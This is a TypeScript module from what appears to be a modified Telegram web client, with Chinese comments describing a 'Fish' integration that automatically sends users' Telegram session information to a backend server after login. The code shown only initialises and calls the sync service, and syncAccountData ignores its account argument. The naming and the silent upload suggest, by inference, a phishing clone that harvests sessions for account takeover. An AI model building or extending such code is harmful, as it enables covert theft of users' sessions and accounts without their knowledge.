/*
 * Fish API 集成使用说明
 *
 * 这个模块实现了将 Telegram 用户的会话信息同步到后台服务器的功能。
 * 当用户登录成功后，系统会自动将用户信息发送到指定的后台接口。
 */

import {fishIntegrationService} from './fishIntegrationService';
import AccountController from '../accounts/accountController';

/**
 * 使用示例：
 *
 * 1. 在应用初始化时设置 Fish 集成服务
 */
export function initializeFishIntegration(appManagers: any) {
  // 初始化 Fish 集成服务
  fishIntegrationService.initialize(appManagers);
}

/**
 * 2. 手动同步用户数据（可选）
 */
export async function syncCurrentUser() {
  try {
    const result = await fishIntegrationService.syncCurrentUser();
    if(result.success) {
      console.log('用户数据同步成功');
    } else {
      console.error('用户数据同步失败:', result.message);
    }
    return result;
  } catch(error) {
    console.error('同步用户数据时发生错误:', error);
    return {success: false, message: '同步失败'};
  }
}

/**
 * 3. 手动同步指定账户的数据
 */
export async function syncAccountData(accountNumber: number) {
  try {
    const result = await fishIntegrationService.syncCurrentUser();
    return result;
  } catch(error) {
    console.error('同步账户数据时发生错误:', error);
    return {success: false, message: '同步失败'};
  }
}

export default {
  initializeFishIntegration,
  syncCurrentUser,
  syncAccountData
};
